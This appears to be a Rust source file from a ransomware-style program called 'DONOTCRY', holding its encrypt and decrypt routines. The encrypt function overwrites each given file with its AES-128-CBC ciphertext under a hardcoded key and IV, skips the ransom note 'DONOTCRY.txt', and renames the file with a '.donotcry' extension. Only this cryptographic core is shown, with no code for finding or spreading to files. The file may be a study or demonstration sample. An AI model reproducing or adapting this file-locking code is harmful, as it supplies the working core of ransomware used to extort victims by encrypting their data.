1use colored::Colorize;
2use libaes::Cipher;
3use std::fs;
4
5pub fn encrypt(filename: &str) {
6 let key = b"fTjWmZq4t7w!z%C*";
8 let iv = b"+MbQeThWmZq4t6w9";
9
10 let cipher = Cipher::new_128(key);
11
12 if !filename.contains("DONOTCRY.txt") {
13 let msg = format!("[*] Encrypting {}", filename);
14 println!("{}", msg.green());
15
16 let encrypted = cipher.cbc_encrypt(iv, &fs::read(filename).unwrap());
17 fs::write(filename, encrypted).unwrap();
18 let new_filename = format!("{}.donotcry", filename);
19 fs::rename(filename, new_filename).unwrap();
20 }
21}
22
23pub fn decrypt(filename: &str) {
24 let key = b"fTjWmZq4t7w!z%C*";
25 let iv = b"+MbQeThWmZq4t6w9";
26
27 let cipher = Cipher::new_128(key);
28
29 if !filename.contains("DONOTCRY.txt") {
30 let msg = format!("[*] Decrypting {}", filename);
31 println!("{}", msg.green());
32
33 let decrypted = cipher.cbc_decrypt(iv, &fs::read(filename).unwrap());
34 fs::write(filename, decrypted).unwrap();
35 let new_filename = filename.replace(".donotcry", "");
36 fs::rename(filename, new_filename).unwrap();
37 }
38}